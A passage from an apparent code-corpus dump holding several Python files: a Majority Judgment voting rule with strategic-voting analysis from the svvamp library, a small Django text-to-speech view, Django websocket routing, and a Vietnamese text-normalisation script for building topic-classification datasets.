nan\n \n **********************\n * c-Manipulators *\n **********************\n w (reminder) = 0\n preferences_ut (reminder) =\n [[ 0. -0.5 -1. ]\n [ 1. -1. 0.5]\n [ 0.5 0.5 -0.5]\n [ 0.5 0. 1. ]\n [-1. -1. 1. ]]\n v_wants_to_help_c =\n [[False False False]\n [False False False]\n [False False False]\n [False False True]\n [False False True]]\n \n ************************************\n * Individual Manipulation (IM) *\n ************************************\n is_im = False\n log_im: im_option = exact\n candidates_im =\n [0. 0. 0.]\n \n *********************************\n * Trivial Manipulation (TM) *\n *********************************\n is_tm = False\n log_tm: tm_option = exact\n candidates_tm =\n [0. 0. 0.]\n \n ********************************\n * Unison Manipulation (UM) *\n ********************************\n is_um = False\n log_um: um_option = exact\n candidates_um =\n [0. 0. 0.]\n \n *********************************************\n * Ignorant-Coalition Manipulation (ICM) *\n *********************************************\n is_icm = False\n log_icm: icm_option = exact\n candidates_icm =\n [0. 0. 0.]\n necessary_coalition_size_icm =\n [0. 6. 4.]\n sufficient_coalition_size_icm =\n [0. 6. 4.]\n \n ***********************************\n * Coalition Manipulation (CM) *\n ***********************************\n is_cm = False\n log_cm: cm_option = exact\n candidates_cm =\n [0. 0. 0.]\n necessary_coalition_size_cm =\n [0. 3. 3.]\n sufficient_coalition_size_cm =\n [0. 3. 3.]\n \"\"\"\n\n full_name = 'Majority Judgment'\n abbreviation = 'MJ'\n\n options_parameters = Rule.options_parameters.copy()\n options_parameters.update({\n 'max_grade': {'allowed': np.isfinite, 'default': 1},\n 'min_grade': {'allowed': np.isfinite, 'default': 0},\n 'step_grade': {'allowed': np.isfinite, 'default': 0},\n 'rescale_grades': {'allowed': type_checker.is_bool, 'default': True},\n 'im_option': {'allowed': ['exact'], 'default': 'exact'},\n 'tm_option': {'allowed': ['exact'], 'default': 'exact'},\n 'um_option': {'allowed': ['exact'], 'default': 'exact'},\n 'icm_option': {'allowed': ['exact'], 'default': 'exact'},\n 'cm_option': {'allowed': ['exact'], 'default': 'exact'}\n })\n\n def __init__(self, **kwargs):\n self._min_grade = None\n self._max_grade = None\n self._step_grade = None\n self._rescale_grades = None\n super().__init__(\n with_two_candidates_reduces_to_plurality=False,\n # Even if ``rescale_grades = True``, a voter who has the same utility for ``c`` and ``d`` will not vote\n # the same in Majority Judgment and in Plurality.\n is_based_on_rk=False,\n precheck_um=False, precheck_tm=True, precheck_icm=False,\n log_identity=\"MAJORITY_JUDGMENT\", **kwargs\n )\n\n # %% Setting the parameters\n\n @property\n def min_grade(self):\n return self._min_grade\n\n @min_grade.setter\n def min_grade(self, value):\n if self._min_grade == value:\n return\n if self.options_parameters['min_grade']['allowed'](value):\n self.mylogv(\"Setting min_grade =\", value, 1)\n self._min_grade = value\n self._result_options['min_grade'] = value\n self.delete_cache()\n else:\n raise ValueError(\"Unknown value for min_grade: \" + format(value))\n\n @property\n def max_grade(self):\n return self._max_grade\n\n @max_grade.setter\n def max_grade(self, value):\n if self._max_grade == value:\n return\n if self.options_parameters['max_grade']['allowed'](value):\n self.mylogv(\"Setting max_grade =\", value, 1)\n self._max_grade = value\n self._result_options['max_grade'] = value\n self.delete_cache()\n else:\n raise ValueError(\"Unknown value for max_grade: \" + format(value))\n\n @property\n def step_grade(self):\n return self._step_grade\n\n @step_grade.setter\n def step_grade(self, value):\n if self._step_grade == value:\n return\n if self.options_parameters['step_grade']['allowed'](value):\n self.mylogv(\"Setting step_grade =\", value, 1)\n self._step_grade = value\n self._result_options['step_grade'] = value\n self.delete_cache()\n else:\n raise ValueError(\"Unknown value for step_grade: \" + format(value))\n\n @property\n def rescale_grades(self):\n return self._rescale_grades\n\n @rescale_grades.setter\n def rescale_grades(self, value):\n if self._rescale_grades == value:\n return\n if self.options_parameters['rescale_grades']['allowed'](value):\n self.mylogv(\"Setting rescale_grades =\", value, 1)\n self._rescale_grades = value\n self._result_options['rescale_grades'] = value\n self.delete_cache()\n else:\n raise ValueError(\"Unknown value for rescale_grades: \" + format(value))\n\n @cached_property\n def allowed_grades(self):\n \"\"\"List or None. If ``step_grade`` is positive, the list of authorized grades. If ``step_grade`` is zero\n (continuous set of grades), then None.\n\n Examples\n --------\n >>> rule = RuleMajorityJudgment()\n >>> print(rule.allowed_grades)\n None\n \"\"\"\n if self.step_grade == 0:\n return None\n else:\n i_lowest_rung = floor(self.min_grade / self.step_grade) + 1\n i_highest_rung = ceil(self.max_grade / self.step_grade) - 1\n return np.concatenate((\n [self.min_grade],\n np.array(range(i_lowest_rung, i_highest_rung + 1)) * self.step_grade,\n [self.max_grade]\n ))\n\n # %% Counting the ballots\n\n @cached_property\n def ballots_(self):\n \"\"\"2d array of integers. ``ballots[v, c]`` is the grade attributed by voter ``v`` to candidate ``c`` (when\n voting sincerely). The following process is used.\n\n 1. Convert utilities into grades in the interval [:attr:`min_grade`, :attr:`max_grade`].\n\n * If :attr:`rescale_grades` = ``True``, then each voter ``v`` applies an affine transformation to\n :attr:`preferences_ut`\\\\ ``[v, :]`` such that her least-liked candidate receives :attr:`min_grade` and\n her most-liked candidate receives :attr:`max_grade`. Exception: if she is indifferent between all\n candidates, then she attributes (:attr:`min_grade` + :attr:`max_grade`) / 2 to all of them.\n\n * If :attr:`rescale_grades` = ``False``, then each voter ``v`` clips her utilities into the interval\n [:attr:`min_grade`, :attr:`max_grade`]: each utility greater than :attr:`max_grade` (resp. lower than\n :attr:`min_grade`) becomes :attr:`max_grade` (resp. :attr:`min_grade`).\n\n 2. If :attr:`step_grades` > 0 (discrete set of grades), round each grade to the closest authorized grade.\n\n Examples\n --------\n >>> profile = Profile(preferences_ut=[\n ... [ 1. , 0.8, -0.6],\n ... [ 0.2, -0.4, 1. ],\n ... [ 1. , 0. , 0.2],\n ... [ 0.2, 0.8, -0.2],\n ... ])\n >>> rule = RuleMajorityJudgment(min_grade=0, max_grade=5, step_grade=1)(profile)\n >>> rule.ballots_\n array([[5, 4, 0],\n [2, 0, 5],\n [5, 0, 1],\n [2, 5, 0]])\n \"\"\"\n self.mylog(\"Compute ballots\", 1)\n # Rescale (or not)\n if self.rescale_grades:\n # Multiplicative renormalization\n max_util = np.max(self.profile_.preferences_ut, axis=1)\n min_util = np.min(self.profile_.preferences_ut, axis=1)\n delta_util = max_util - min_util\n ballots = np.divide(\n self.profile_.preferences_ut * (self.max_grade - self.min_grade),\n delta_util[:, np.newaxis],\n out=np.zeros(self.profile_.preferences_ut.shape),\n where=delta_util[:, np.newaxis] != 0\n ) # `out` and `where` ensure that when dividing by zero, the result will be zero.\n # Additive renormalization\n middle_grade = (np.max(ballots, axis=1) + np.min(ballots, axis=1)) / 2\n ballots += (self.max_grade - self.min_grade) / 2 - middle_grade[:, np.newaxis]\n else:\n ballots = np.clip(self.profile_.preferences_ut, self.min_grade, self.max_grade)\n # Round (or not)\n if self.step_grade != 0:\n if self.min_grade % 1 == 0 and self.max_grade % 1 == 0 and self.step_grade % 1 == 0:\n # There is a faster version for this (common) use case.\n ballots = np.array(np.rint(ballots), dtype=int)\n else:\n frontiers = (self.allowed_grades[0:-1] + self.allowed_grades[1:]) / 2\n for v in range(self.profile_.n_v):\n ballots[v, :] = self.allowed_grades[np.digitize(ballots[v, :], frontiers)]\n return ballots\n\n @cached_property\n def scores_(self):\n \"\"\"2d array of integers.\n\n ``scores[0, c]`` is the median grade of candidate ``c``.\n\n Let us note ``p`` (resp. ``q``) the number of voter who attribute to ``c`` a grade higher (resp. lower) than\n the median. If ``p`` > ``q``, then ``scores[1, c]`` = ``p``. Otherwise, ``scores[1, c]`` = ``-q``.\n \"\"\"\n self.mylog(\"Compute scores\", 1)\n scores = np.zeros((2, self.profile_.n_c))\n scores[0, :] = np.median(self.ballots_, 0)\n for c in range(self.profile_.n_c):\n p = np.sum(self.ballots_[:, c] > scores[0, c])\n q = np.sum(self.ballots_[:, c] < scores[0, c])\n scores[1, c] = - q if q >= p else p\n return scores\n\n @cached_property\n def candidates_by_scores_best_to_worst_(self):\n \"\"\"1d array of integers. ``candidates_by_scores_best_to_worst[k] is the candidate ranked ``k``-th.\n\n Candidates are sorted lexicographically by their median (:attr:`scores`\\\\ ``[0, c]``) then their ``p`` or ``-q``\n (:attr:`scores`\\\\ ``[1, c]``). If there is still a tie, the tied candidate with lower index is favored.\n \"\"\"\n self.mylog(\"Compute candidates_by_scores_best_to_worst\", 1)\n # N.B. : ``np.array(range(self.profile_.C))`` below is the tie-breaking term by lowest index.\n return np.lexsort((np.array(range(self.profile_.n_c))[::-1], self.scores_[1, :], self.scores_[0, :]))[::-1]\n\n @cached_property\n def w_(self):\n \"\"\"Integer (winning candidate).\n\n Candidates are sorted lexicographically by their median (:attr:`scores`\\\\ ``[0, c]``) then their ``p`` or\n ``-q`` (:attr:`scores`\\\\ ``[1, c]``). If there is still a tie, the tied candidate with lower index is declared\n the winner.\n \"\"\"\n self.mylog(\"Compute winner\", 1)\n return self.candidates_by_scores_best_to_worst_[0]\n\n # %% Manipulation criteria of the voting system\n\n @cached_property\n def meets_ignmc_c_ctb(self):\n return True\n\n # %% Independence of Irrelevant Alternatives (IIA)\n\n @property\n def meets_iia(self):\n return not self.rescale_grades\n\n @property\n def is_based_on_ut_minus1_1(self):\n return self._rescale_grades\n\n @meets_iia.setter\n def meets_iia(self, value):\n pass\n\n @is_based_on_ut_minus1_1.setter\n def is_based_on_ut_minus1_1(self, value):\n pass\n\n # %% Individual manipulation (IM)\n\n def _im_main_work_v_(self, v, c_is_wanted, nb_wanted_undecided, stop_if_true):\n \"\"\"\n >>> profile = Profile([\n ... [ 1. , -0.5, 0. ],\n ... [ 0.5, 1. , -1. ],\n ... [-0.5, 0.5, -1. ],\n ... [ 1. , 0. , 1. ],\n ... [-1. , -0.5, 1. ],\n ... ])\n >>> rule = RuleMajorityJudgment()(profile)\n >>> rule.is_im_c_(1)\n True\n \"\"\"\n ballots_test = np.copy(self.ballots_)\n ballots_test[v, :] = self.min_grade\n scores_v_is_evil = np.zeros((2, self.profile_.n_c))\n scores_v_is_evil[0, :] = np.median(ballots_test, 0)\n for c in range(self.profile_.n_c):\n p = np.sum(ballots_test[:, c] > scores_v_is_evil[0, c])\n q = np.sum(ballots_test[:, c] < scores_v_is_evil[0, c])\n scores_v_is_evil[1, c] = - q if q >= p else p\n w_temp = max(range(self.profile_.n_c), key=lambda d: scores_v_is_evil[:, d].tolist())\n\n ballots_test[v, :] = self.max_grade\n score_v_is_nice_c = np.zeros(2)\n for c in range(self.profile_.n_c):\n if not c_is_wanted[c]:\n continue\n if not np.isneginf(self._v_im_for_c[v, c]):\n continue\n score_v_is_nice_c[0] = np.median(ballots_test[:, c])\n p = np.sum(ballots_test[:, c] > score_v_is_nice_c[0])\n q = np.sum(ballots_test[:, c] < score_v_is_nice_c[0])\n score_v_is_nice_c[1] = - q if q >= p else p\n if ([score_v_is_nice_c[0], score_v_is_nice_c[1], - c]\n >= [scores_v_is_evil[0, w_temp], scores_v_is_evil[1, w_temp], - w_temp]):\n self._v_im_for_c[v, c] = True\n self._candidates_im[c] = True\n self._voters_im[v] = True\n self._is_im = True\n self.mylog(\"IM found\", 3)\n if stop_if_true:\n return\n else:\n self._v_im_for_c[v, c] = False\n nb_wanted_undecided -= 1\n if nb_wanted_undecided == 0:\n return\n\n # %% Coalition Manipulation (CM)\n\n def _cm_preliminary_checks_c_subclass_(self, c, optimize_bounds):\n if equal_false(self.is_tm_c_(c)):\n self._update_necessary(\n self._necessary_coalition_size_cm, c, self.profile_.matrix_duels_ut[c, self.w_] + 1,\n 'CM: Preliminary checks: not TM => \\n _necessary_coalition_size_cm[c] = n_m + 1 =')\n\n def _cm_main_work_c_(self, c, optimize_bounds):\n \"\"\"\n >>> profile = Profile([\n ... [ 1. , -0.5, 0. ],\n ... [ 0.5, 1. , -1. ],\n ... [-0.5, 0.5, -1. ],\n ... [ 1. , 0. , 1. ],\n ... [-1. , -0.5, 1. ],\n ... ])\n >>> rule = RuleMajorityJudgment()(profile)\n >>> rule.candidates_cm_\n array([0., 1., 0.])\n >>> rule.necessary_coalition_size_cm_\n array([0., 3., 2.])\n >>> rule.sufficient_coalition_size_cm_\n array([0., 3., 2.])\n \"\"\"\n preferences_ut_s = self.profile_.preferences_ut[np.logical_not(self.v_wants_to_help_c_[:, c]), :]\n n_s = self.profile_.n_v - self.profile_.matrix_duels_ut[c, self.w_]\n ballot_manip = np.ones(self.profile_.n_c) * self.min_grade\n ballot_manip[c] = self.max_grade\n n_m_inf = 0\n n_m_sup = n_s + 1\n # Loop invariant: CM always possible n_m_sup manipulators, impossible for n_m_inf manipulators\n while n_m_sup - n_m_inf > 1:\n n_m = (n_m_inf + n_m_sup) // 2\n preferences_ut_test = np.concatenate((\n preferences_ut_s,\n np.outer(np.ones(n_m), ballot_manip)\n ))\n profile_test = Profile(preferences_ut=preferences_ut_test, sort_voters=False)\n rule_test = self._copy(profile_test)\n winner_test = rule_test.w_\n if winner_test == c:\n n_m_sup = n_m\n else:\n n_m_inf = n_m\n self._sufficient_coalition_size_cm[c] = n_m_sup\n self._necessary_coalition_size_cm[c] = n_m_sup\n\n # def _cm_main_work_c_old_(self, c, optimize_bounds):\n # # TODO: One day, I could combine the dichotomy of the new method with the approach of the old method.\n # # In fact, in sorted_sincere, there will be sincere voters and one manipulator (so that median and other\n # # stuff is always defined). Grades for ``c`` are sorted in ascending order along ``c``'s column. Grades for\n # # other candidates are sorted in descending order. This way, when adding one manipulator, the median is\n # # shifted down by a half-index.\n # ballot_manip = np.ones(self.profile_.n_c) * self.min_grade\n # ballot_manip[c] = self.max_grade\n # sorted_sincere = np.sort(np.concatenate((\n # self.ballots_[np.logical_not(self.v_wants_to_help_c_[:, c]), :], [ballot_manip]\n # ), 0), 0)[::-1, :]\n # sorted_sincere[:, c] = sorted_sincere[::-1, c]\n # self.mylogm(\"CM: sorted_sincere + 1 manipulator =\", sorted_sincere, 3)\n # medians = np.median(sorted_sincere[:-1, :], 0)\n # self.mylogm(\"CM: medians (sincere only) =\", medians, 3)\n # p = np.sum(sorted_sincere[:-1, :] > medians, 0)\n # self.mylogm(\"CM: p (sincere only) =\", p, 3)\n # q = np.sum(sorted_sincere[:-1, :] < medians, 0)\n # self.mylogm(\"CM: q (sincere only) =\", q, 3)\n #\n # n_s = self.profile_.n_v - self.profile_.matrix_duels_ut[c, self.w_]\n # self.mylogv(\"CM: n_s =\", n_s, 3)\n # n_m = 0\n # i_median = Fraction(n_s - 1, 2)\n # cm_successful = False\n # while not cm_successful:\n # n_m += 1\n # i_median += Fraction(1, 2)\n # self.mylogv(\"CM: n_m =\", n_m, 3)\n #\n # # Computing c's scores\n # if i_median % 1 == 0:\n # median_c = sorted_sincere[int(i_median), c]\n # else:\n # median_c = (sorted_sincere[floor(i_median), c] + sorted_sincere[ceil(i_median), c]) / 2\n # if median_c == medians[c]:\n # if median_c != self.max_grade:\n # p[c] += 1\n # else:\n # medians[c] = median_c\n # q[c] = ceil(i_median)\n # p[c] = np.sum(sorted_sincere[:-1, c] > median_c) + n_m\n # if q[c] >= p[c]:\n # score_c = [medians[c], -q[c], -c]\n # else:\n # score_c = [medians[c], p[c], -c]\n # self.mylogv(\"CM: score_c =\", score_c, 3)\n #\n # cm_successful = True\n # for d in range(self.profile_.n_c):\n # if d == c:\n # continue\n #\n # # Computing d's scores\n # if i_median % 1 == 0:\n # median_d = sorted_sincere[int(i_median), d]\n # else:\n # median_d = (sorted_sincere[floor(i_median), d] + sorted_sincere[ceil(i_median), d]) / 2\n # if median_d == medians[d]:\n # if median_d != self.min_grade:\n # q[d] += 1\n # else:\n # medians[d] = median_d\n # p[d] = ceil(i_median)\n # q[d] = np.sum(sorted_sincere[:-1, d] < median_d) + n_m\n # if q[d] >= p[d]:\n # score_d = [medians[d], -q[d], -d]\n # else:\n # score_d = [medians[d], p[d], -d]\n # self.mylogv(\"CM: score_d =\", score_d, 3)\n #\n # # Does manipulation work?\n # if score_d > score_c:\n # cm_successful = False\n #\n # self._sufficient_coalition_size_cm[c] = n_m\n # self._necessary_coalition_size_cm[c] = n_m\n\n # %% Trivial Manipulation (TM)\n\n def _tm_main_work_c_(self, c):\n ballots_test = np.copy(self.ballots_)\n ballots_test[self.v_wants_to_help_c_[:, c], :] = self.min_grade\n ballots_test[self.v_wants_to_help_c_[:, c], c] = self.max_grade\n scores_test = np.zeros((2, self.profile_.n_c))\n scores_test[0, :] = np.median(ballots_test, 0)\n for d in range(self.profile_.n_c):\n p = np.sum(ballots_test[:, d] > scores_test[0, d])\n q = np.sum(ballots_test[:, d] < scores_test[0, d])\n scores_test[1, d] = - q if q >= p else p\n candidates_by_scores_best_to_worst_test = np.lexsort((\n np.array(range(self.profile_.n_c))[::-1], scores_test[1, :], scores_test[0, :]\n ))[::-1]\n w_test = candidates_by_scores_best_to_worst_test[0]\n self._candidates_tm[c] = (w_test == c)\n\n # %% Unison Manipulation (UM)\n\n @cached_property\n def is_um_(self):\n return self.is_cm_\n\n def is_um_c_(self, c):\n return self.is_cm_c_(c)\n\n @cached_property\n def candidates_um_(self):\n return self.candidates_cm_\n\n # %% Ignorant-Coalition Manipulation (ICM)\n\n # Since Majority Judgment meets IgnMC_c_tb, the general methods are exact.\n","repo_name":"francois-durand/svvamp","sub_path":"svvamp/rules/rule_majority_judgment.py","file_name":"rule_majority_judgment.py","file_ext":"py","file_size_in_byte":31719,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"1149394011","text":"from django.shortcuts import render\nimport os\nfrom gtts import gTTS\n\ndef index(request):\n if request.method == 'POST':\n text_file=request.POST.get('text')\n language = 'en'\n myobj = gTTS(text=text_file, lang=language, slow=False)\n myobj.save(\"welcome.mp3\")\n\n return render(request,'index.html')","repo_name":"monukaushik/Text_To_Audio","sub_path":"text to autio/myproject_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"28615682054","text":"from django.urls import re_path, path\nfrom manager import consumers\n\n\nwebsocket_urlpatterns = [\n path(\"ws/interchats//\", consumers.InterChats.as_asgi()),\n path(\"ws/notifications/\", consumers.Notifications.as_asgi()),\n re_path(r\"ws/chat/(?P\\w+)/$\", consumers.ChatRoomConsumer.as_asgi()),\n re_path(r\"ws/chat/orders/(?P\\w+)/$\", consumers.OrderChatRoom.as_asgi()),\n]","repo_name":"tradeoases/Tradeoasis","sub_path":"manager/routing.py","file_name":"routing.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"1728147512","text":"from pyvi import ViTokenizer\nimport unicodedata\nimport sys\nimport regex as re\n\n#hàm chuẩn hóa unicode\ndef convert_unicode(document):\n document = unicodedata.normalize('NFC', document)\n return document\n\n#hàm xóa các stop word\ndef remove_stop_word(document):\n document_final = \"\"\n file_stop_word = open(\"stopword.txt\", \"r\", encoding=\"utf8\")\n stop_word_list = file_stop_word.read()\n stop_word = stop_word_list.split('\\n')\n document_list = document.split()\n for word in document_list:\n if(word not in stop_word_list):\n document_final = document_final+word+\" \"\n return document_final\n\nbang_nguyen_am = [['a', 'à', 'á', 'ả', 'ã', 'ạ', 'a'],\n ['ă', 'ằ', 'ắ', 'ẳ', 'ẵ', 'ặ', 'aw'],\n ['â', 'ầ', 'ấ', 'ẩ', 'ẫ', 'ậ', 'aa'],\n ['e', 'è', 'é', 'ẻ', 'ẽ', 'ẹ', 'e'],\n ['ê', 'ề', 'ế', 'ể', 'ễ', 'ệ', 'ee'],\n ['i', 'ì', 'í', 'ỉ', 'ĩ', 'ị', 'i'],\n ['o', 'ò', 'ó', 'ỏ', 'õ', 'ọ', 'o'],\n ['ô', 'ồ', 'ố', 'ổ', 'ỗ', 'ộ', 'oo'],\n ['ơ', 'ờ', 'ớ', 'ở', 'ỡ', 'ợ', 'ow'],\n ['u', 'ù', 'ú', 'ủ', 'ũ', 'ụ', 'u'],\n ['ư', 'ừ', 'ứ', 'ử', 'ữ', 'ự', 'uw'],\n ['y', 'ỳ', 'ý', 'ỷ', 'ỹ', 'ỵ', 'y']]\nbang_ky_tu_dau = ['', 'f', 's', 'r', 'x', 'j']\n\nnguyen_am_to_ids = {}\n\nfor i in range(len(bang_nguyen_am)):\n for j in range(len(bang_nguyen_am[i]) - 1):\n nguyen_am_to_ids[bang_nguyen_am[i][j]] = (i, j)\n\ndef chuan_hoa_dau_tu_tieng_viet(word):\n if not is_valid_vietnam_word(word):\n return word\n\n chars = list(word)\n dau_cau = 0\n nguyen_am_index = []\n qu_or_gi = False\n for index, char in enumerate(chars):\n x, y = nguyen_am_to_ids.get(char, (-1, -1))\n if x == -1:\n continue\n elif x == 9: # check qu\n if index != 0 and chars[index - 1] == 'q':\n chars[index] = 'u'\n qu_or_gi = True\n elif x == 5: # check gi\n if index != 0 and chars[index - 1] == 'g':\n chars[index] = 'i'\n qu_or_gi = True\n if y != 0:\n dau_cau = y\n chars[index] = bang_nguyen_am[x][0]\n if not qu_or_gi or index != 1:\n nguyen_am_index.append(index)\n if len(nguyen_am_index) < 2:\n if qu_or_gi:\n if len(chars) == 2:\n x, y = nguyen_am_to_ids.get(chars[1])\n chars[1] = bang_nguyen_am[x][dau_cau]\n else:\n x, y = nguyen_am_to_ids.get(chars[2], (-1, -1))\n if x != -1:\n chars[2] = bang_nguyen_am[x][dau_cau]\n else:\n chars[1] = bang_nguyen_am[5][dau_cau] if chars[1] == 'i' else bang_nguyen_am[9][dau_cau]\n return ''.join(chars)\n return word\n\n for index in nguyen_am_index:\n x, y = nguyen_am_to_ids[chars[index]]\n if x == 4 or x == 8: # ê, ơ\n chars[index] = bang_nguyen_am[x][dau_cau]\n # for index2 in nguyen_am_index:\n # if index2 != index:\n # x, y = nguyen_am_to_ids[chars[index]]\n # chars[index2] = bang_nguyen_am[x][0]\n return ''.join(chars)\n\n if len(nguyen_am_index) == 2:\n if nguyen_am_index[-1] == len(chars) - 1:\n x, y = nguyen_am_to_ids[chars[nguyen_am_index[0]]]\n chars[nguyen_am_index[0]] = bang_nguyen_am[x][dau_cau]\n # x, y = nguyen_am_to_ids[chars[nguyen_am_index[1]]]\n # chars[nguyen_am_index[1]] = bang_nguyen_am[x][0]\n else:\n # x, y = nguyen_am_to_ids[chars[nguyen_am_index[0]]]\n # chars[nguyen_am_index[0]] = bang_nguyen_am[x][0]\n x, y = nguyen_am_to_ids[chars[nguyen_am_index[1]]]\n chars[nguyen_am_index[1]] = bang_nguyen_am[x][dau_cau]\n else:\n # x, y = nguyen_am_to_ids[chars[nguyen_am_index[0]]]\n # chars[nguyen_am_index[0]] = bang_nguyen_am[x][0]\n x, y = nguyen_am_to_ids[chars[nguyen_am_index[1]]]\n chars[nguyen_am_index[1]] = bang_nguyen_am[x][dau_cau]\n # x, y = nguyen_am_to_ids[chars[nguyen_am_index[2]]]\n # chars[nguyen_am_index[2]] = bang_nguyen_am[x][0]\n return ''.join(chars)\n\n\ndef is_valid_vietnam_word(word):\n chars = list(word)\n nguyen_am_index = -1\n for index, char in enumerate(chars):\n x, y = nguyen_am_to_ids.get(char, (-1, -1))\n if x != -1:\n if nguyen_am_index == -1:\n nguyen_am_index = index\n else:\n if index - nguyen_am_index != 1:\n return False\n nguyen_am_index = index\n return True\n\n\ndef chuan_hoa_dau_cau_tieng_viet(sentence):\n \"\"\"\n Chuyển câu tiếng việt về chuẩn gõ dấu kiểu cũ.\n :param sentence:\n :return:\n \"\"\"\n sentence = sentence.lower()\n words = sentence.split()\n for index, word in enumerate(words):\n cw = re.sub(r'(^\\p{P}*)([p{L}.]*\\p{L}+)(\\p{P}*$)', r'\\1/\\2/\\3', word).split('/')\n # print(cw)\n if len(cw) == 3:\n cw[1] = chuan_hoa_dau_tu_tieng_viet(cw[1])\n words[index] = ''.join(cw)\n return ' '.join(words)\n#u=chuan_hoa_dau_cau_tieng_viet('ghế nghìên hơn vựơn hoà thuỷ uỷ quỳnh gỉa hòan khuỷu gìa thuỳên đang làm gì')\n#print(u)\n\ndef text_preprocess(document):\n # chuẩn hóa unicode\n document = convert_unicode(document)\n # chuẩn hóa cách gõ dấu tiếng Việt\n document = chuan_hoa_dau_cau_tieng_viet(document)\n # tách từ\n document = ViTokenizer.tokenize(document)\n # đưa về lower\n document = document.lower()\n # xóa các ký tự không cần thiết\n document = re.sub(r'[^\\s\\wáàảãạăắằẳẵặâấầẩẫậéèẻẽẹêếềểễệóòỏõọôốồổỗộơớờởỡợíìỉĩịúùủũụưứừửữựýỳỷỹỵđ_]',' ',document)\n # xóa khoảng trắng thừa\n document = re.sub(r'\\s+', ' ', document).strip()\n # xóa stop word\n document = remove_stop_word(document)\n return document\n\nimport os\n\npath_train = 'Train_Full/Chinh tri Xa hoi/'\npath_test = 'Test_Full/Chinh tri Xa hoi/'\nwriter = open('dataset/chinh_tri_xa_hoi.txt', 'w', encoding='utf-8')\nfiles_train = os.listdir(path_train)\nfiles_test = os.listdir(path_test)\nfor file in files_train:\n reader = open(path_train+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"0 \"+text+\"\\n\")\nfor file in files_test:\n reader = open(path_test+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"0 \"+text+\"\\n\")\n\npath_train = 'Train_Full/Cong nghe/'\npath_test = 'Test_Full/Cong nghe/'\nwriter = open('dataset/cong_nghe.txt', 'w', encoding='utf-8')\nfiles_train = os.listdir(path_train)\nfiles_test = os.listdir(path_test)\nfor file in files_train:\n reader = open(path_train+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"1 \"+text+\"\\n\")\nfor file in files_test:\n reader = open(path_test+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"1 \"+text+\"\\n\")\n\npath_train = 'Train_Full/Doi song/'\npath_test = 'Test_Full/Doi song/'\nwriter = open('dataset/doi_song.txt', 'w', encoding='utf-8')\nfiles_train = os.listdir(path_train)\nfiles_test = os.listdir(path_test)\nfor file in files_train:\n reader = open(path_train+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"2 \"+text+\"\\n\")\nfor file in files_test:\n reader = open(path_test+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"2 \"+text+\"\\n\")\n\npath_train = 'Train_Full/Khoa hoc/'\npath_test = 'Test_Full/Khoa hoc/'\nwriter = open('dataset/khoa_hoc.txt', 'w', encoding='utf-8')\nfiles_train = os.listdir(path_train)\nfiles_test = os.listdir(path_test)\nfor file in files_train:\n reader = open(path_train+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"3 \"+text+\"\\n\")\nfor file in files_test:\n reader = open(path_test+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"3 \"+text+\"\\n\")\n\npath_train = 'Train_Full/Kinh doanh/'\npath_test = 'Test_Full/Kinh doanh/'\nwriter = open('dataset/kinh_doanh.txt', 'w', encoding='utf-8')\nfiles_train = os.listdir(path_train)\nfiles_test = os.listdir(path_test)\nfor file in files_train:\n reader = open(path_train+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"4 \"+text+\"\\n\")\nfor file in files_test:\n reader = open(path_test+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"4 \"+text+\"\\n\")\n\npath_train = 'Train_Full/Phap luat/'\npath_test = 'Test_Full/Phap luat/'\nwriter = open('dataset/phap_luat.txt', 'w', encoding='utf-8')\nfiles_train = os.listdir(path_train)\nfiles_test = os.listdir(path_test)\nfor file in files_train:\n reader = open(path_train+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"5 \"+text+\"\\n\")\nfor file in files_test:\n reader = open(path_test+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"5 \"+text+\"\\n\")\n\npath_train = 'Train_Full/Suc khoe/'\npath_test = 'Test_Full/Suc khoe/'\nwriter = open('dataset/suc_khoe.txt', 'w', encoding='utf-8')\nfiles_train = os.listdir(path_train)\nfiles_test = os.listdir(path_test)\nfor file in files_train:\n reader = open(path_train+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"6 \"+text+\"\\n\")\nfor file in files_test:\n reader = open(path_test+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"6 \"+text+\"\\n\")\n\npath_train = 'Train_Full/The gioi/'\npath_test = 'Test_Full/The gioi/'\nwriter = open('dataset/the_gioi.txt', 'w', encoding='utf-8')\nfiles_train = os.listdir(path_train)\nfiles_test = os.listdir(path_test)\nfor file in files_train:\n reader = open(path_train+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"7 \"+text+\"\\n\")\nfor file in files_test:\n reader = open(path_test+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"7 \"+text+\"\\n\")\n\npath_train = 'Train_Full/The thao/'\npath_test = 'Test_Full/The thao/'\nwriter = open('dataset/the_thao.txt', 'w', encoding='utf-8')\nfiles_train = os.listdir(path_train)\nfiles_test = os.listdir(path_test)\nfor file in files_train:\n reader = open(path_train+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"8 \"+text+\"\\n\")\nfor file in files_test:\n reader = open(path_test+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"8 